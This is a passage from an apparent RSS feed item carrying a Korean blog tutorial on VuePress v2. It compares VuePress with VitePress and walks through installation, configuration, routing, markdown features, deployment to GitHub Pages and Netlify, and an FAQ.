&lt;th align=&quot;left&quot;&gt;항목&lt;/th&gt;
&lt;th align=&quot;left&quot;&gt;VuePress v2&lt;/th&gt;
&lt;th align=&quot;left&quot;&gt;VitePress&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;빌드 도구&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;webpack 기반 (옵션으로 Vite)&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;Vite 기반 (기본)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;속도&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;준수&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;매우 빠름 (HMR 체감 2~5배)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;플러그인 생태계&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;풍부함&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;점진적으로 확대 중&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;Vue 팀 공식 추천&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;유지되고 있음&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;O (2026 현재)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;러닝 커브&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;낮음&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;낮음&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;VuePress 가 &quot;구식&quot; 은 아닙니다. 다만 Vue 팀이 VitePress 쪽으로 무게를 옮긴 상태이므로, 새 프로젝트라면 VitePress 를 먼저 보시는 게 합리적입니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;설치 및 빌드 (2026 기준)&lt;/h2&gt;
&lt;p&gt;Node.js 는 &lt;strong&gt;LTS (20.x 이상)&lt;/strong&gt; 권장합니다. 패키지 매니저는 pnpm 을 기본으로, npm 도 병기합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sh&quot;&gt;&lt;pre class=&quot;language-sh&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 프로젝트 초기화&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;mkdir&lt;/span&gt; my-docs &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;cd&lt;/span&gt; my-docs
&lt;span class=&quot;token function&quot;&gt;pnpm&lt;/span&gt; init            &lt;span class=&quot;token comment&quot;&gt;# 또는: npm init -y&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# VuePress v2 로컬 설치&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;pnpm&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;add&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-D&lt;/span&gt; vuepress@next @vuepress/client@next vue
&lt;span class=&quot;token comment&quot;&gt;# npm 의 경우&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# npm install -D vuepress@next @vuepress/client@next vue&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 문서 디렉토리와 첫 페이지 생성&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;mkdir&lt;/span&gt; docs
&lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;# Hello VuePress&apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; docs/README.md&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;package.json&lt;/code&gt; 에 스크립트를 추가합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;scripts&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;docs:dev&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;vuepress dev docs&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;docs:build&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;vuepress build docs&quot;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;개발 서버 실행 및 빌드:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sh&quot;&gt;&lt;pre class=&quot;language-sh&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 개발 모드 (http://localhost:8080)&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;pnpm&lt;/span&gt; docs:dev

&lt;span class=&quot;token comment&quot;&gt;# 정적 파일 빌드 (docs/.vuepress/dist)&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;pnpm&lt;/span&gt; docs:build&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;디렉토리 구조&lt;/h2&gt;
&lt;p&gt;VuePress 에서 권장하는 구조입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;.
├── docs
│   ├── .vuepress            (옵션)
│   │   ├── components       (Vue 컴포넌트)
│   │   ├── theme            (커스텀 테마)
│   │   ├── public           (정적 리소스)
│   │   ├── styles           (스타일)
│   │   ├── config.ts        (메인 설정, TS 권장)
│   │   └── client.ts        (클라이언트 확장)
│   ├── README.md            (루트 페이지)
│   ├── guide
│   │   └── README.md
│   └── config.md
└── package.json&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;2026 기준으로는 &lt;code class=&quot;language-text&quot;&gt;config.js&lt;/code&gt; 대신 &lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;config.ts&lt;/code&gt;&lt;/strong&gt; 로 시작하는 것을 추천합니다. 타입 힌트가 붙어서 설정 실수가 확 줄어듭니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;페이지 라우팅 규칙&lt;/h2&gt;
&lt;p&gt;타겟 디렉토리는 &lt;code class=&quot;language-text&quot;&gt;docs&lt;/code&gt; 이고, 아래 경로는 모두 &lt;code class=&quot;language-text&quot;&gt;docs&lt;/code&gt; 기준입니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;left&quot;&gt;파일 경로&lt;/th&gt;
&lt;th align=&quot;left&quot;&gt;URL 경로&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;/README.md&lt;/code&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;/&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;/guide/README.md&lt;/code&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;/guide/&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;/config.md&lt;/code&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;/config.html&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;알아두면 좋은 마크다운 확장&lt;/h2&gt;
&lt;h3&gt;코드 하이라이팅&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;md&quot;&gt;&lt;pre class=&quot;language-md&quot;&gt;&lt;code class=&quot;language-md&quot;&gt;&lt;span class=&quot;token code&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;```&lt;/span&gt;&lt;span class=&quot;token code-language&quot;&gt;js&lt;/span&gt;
&lt;span class=&quot;token code-block language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;default&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;MyComponent&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;```&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;줄 번호 표시&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;ts&quot;&gt;&lt;pre class=&quot;language-ts&quot;&gt;&lt;code class=&quot;language-ts&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// docs/.vuepress/config.ts&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; defineUserConfig &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;vuepress&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;default&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;defineUserConfig&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  markdown&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    code&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; lineNumbers&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;커스텀 컨테이너&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;md&quot;&gt;&lt;pre class=&quot;language-md&quot;&gt;&lt;code class=&quot;language-md&quot;&gt;::: tip
이것은 팁 블록입니다.
:::

::: warning
경고 블록도 가능합니다.
:::&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;배포하기&lt;/h2&gt;
&lt;h3&gt;GitHub Pages (GitHub Actions)&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;docs/.vuepress/config.ts&lt;/code&gt; 에 &lt;code class=&quot;language-text&quot;&gt;base&lt;/code&gt; 설정을 잊지 마세요. &lt;code class=&quot;language-text&quot;&gt;https://&amp;lt;USER&gt;.github.io/&amp;lt;REPO&gt;&lt;/code&gt; 라면 &lt;code class=&quot;language-text&quot;&gt;base: &apos;/&amp;lt;REPO&gt;/&apos;&lt;/code&gt; 입니다.&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;.github/workflows/deploy.yml&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Deploy VuePress

&lt;span class=&quot;token key atrule&quot;&gt;on&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;branches&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;main&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;token key atrule&quot;&gt;permissions&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;contents&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; read
  &lt;span class=&quot;token key atrule&quot;&gt;pages&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; write
  &lt;span class=&quot;token key atrule&quot;&gt;id-token&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; write

&lt;span class=&quot;token key atrule&quot;&gt;jobs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;build-and-deploy&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;runs-on&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; ubuntu&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;latest
    &lt;span class=&quot;token key atrule&quot;&gt;steps&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;uses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; actions/checkout@v4

      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;uses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; actions/setup&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;node@v4
        &lt;span class=&quot;token key atrule&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;node-version&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;20&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;cache&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; pnpm

      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;uses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; pnpm/action&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;setup@v4
        &lt;span class=&quot;token key atrule&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;version&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;9&lt;/span&gt;

      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; pnpm install &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;frozen&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;lockfile
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; pnpm docs&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;build

      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;uses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; actions/upload&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;pages&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;artifact@v3
        &lt;span class=&quot;token key atrule&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; docs/.vuepress/dist

  &lt;span class=&quot;token key atrule&quot;&gt;deploy&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;needs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; build&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;and&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;deploy
    &lt;span class=&quot;token key atrule&quot;&gt;runs-on&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; ubuntu&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;latest
    &lt;span class=&quot;token key atrule&quot;&gt;environment&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; github&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;pages
    &lt;span class=&quot;token key atrule&quot;&gt;steps&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; deployment
        &lt;span class=&quot;token key atrule&quot;&gt;uses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; actions/deploy&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;pages@v4&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Netlify&lt;/h3&gt;
&lt;p&gt;Netlify 는 2026년에도 VuePress 와 궁합이 좋습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Build command:&lt;/strong&gt; &lt;code class=&quot;language-text&quot;&gt;pnpm docs:build&lt;/code&gt; (또는 &lt;code class=&quot;language-text&quot;&gt;npm run docs:build&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Publish directory:&lt;/strong&gt; &lt;code class=&quot;language-text&quot;&gt;docs/.vuepress/dist&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Node version:&lt;/strong&gt; &lt;code class=&quot;language-text&quot;&gt;20&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;푸시만 해도 자동 배포되니, 개인 프로젝트라면 Netlify 가 가장 편합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;FAQ&lt;/h2&gt;
&lt;h3&gt;Q1. 2026년에 VuePress 새로 시작해도 되나요?&lt;/h3&gt;
&lt;p&gt;유지는 되지만, &lt;strong&gt;새로 시작한다면 VitePress 를 먼저 검토&lt;/strong&gt;하시길 권합니다. 공식 추천, 빌드 속도, 최신 생태계 모두 VitePress 쪽이 앞서 있습니다. 기존 VuePress 프로젝트를 굳이 갈아엎을 필요까지는 없습니다.&lt;/p&gt;
&lt;h3&gt;Q2. React 를 쓰는데 VuePress 를 써도 되나요?&lt;/h3&gt;
&lt;p&gt;결과물은 정적 HTML 이라 사용자 입장에서는 문제가 없지만, 커스터마이징 시 Vue 컴포넌트 작성이 필요합니다. React 라면 Docusaurus, Nextra 쪽이 더 자연스럽습니다.&lt;/p&gt;
&lt;h3&gt;Q3. 블로그 용도로도 괜찮나요?&lt;/h3&gt;
&lt;p&gt;기술문서에 최적화되어 있어 블로그로 쓰려면 &lt;code class=&quot;language-text&quot;&gt;@vuepress/plugin-blog&lt;/code&gt; 같은 플러그인이 필요합니다. 블로그가 메인이라면 Gatsby, Astro, Next.js 가 더 편합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;관련 포스팅&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;/getting-started/&quot;&gt;GitHub 블로그 시작하기&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/git/&quot;&gt;Git 기본기 정리&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;참고 자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://vuepress.vuejs.org/&quot;&gt;VuePress 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vitepress.dev/&quot;&gt;VitePress 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vuejs.org/&quot;&gt;Vue.js 공식 사이트&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;VuePress 는 여전히 Vue 기반 SSG 의 교과서 같은 도구입니다. 입문용으로도, 사내 기술문서용으로도 충분히 제 역할을 합니다. 다만 2026년 기준으로 새 프로젝트라면 VitePress 도 꼭 비교해 보세요.&lt;/p&gt;
&lt;p&gt;여러분은 기술문서 도구로 어떤 걸 쓰고 계신가요? 댓글로 경험 공유해 주시면 다음 포스팅 주제로 반영하겠습니다.&lt;/p&gt;</content:encoded></item></channel></rss>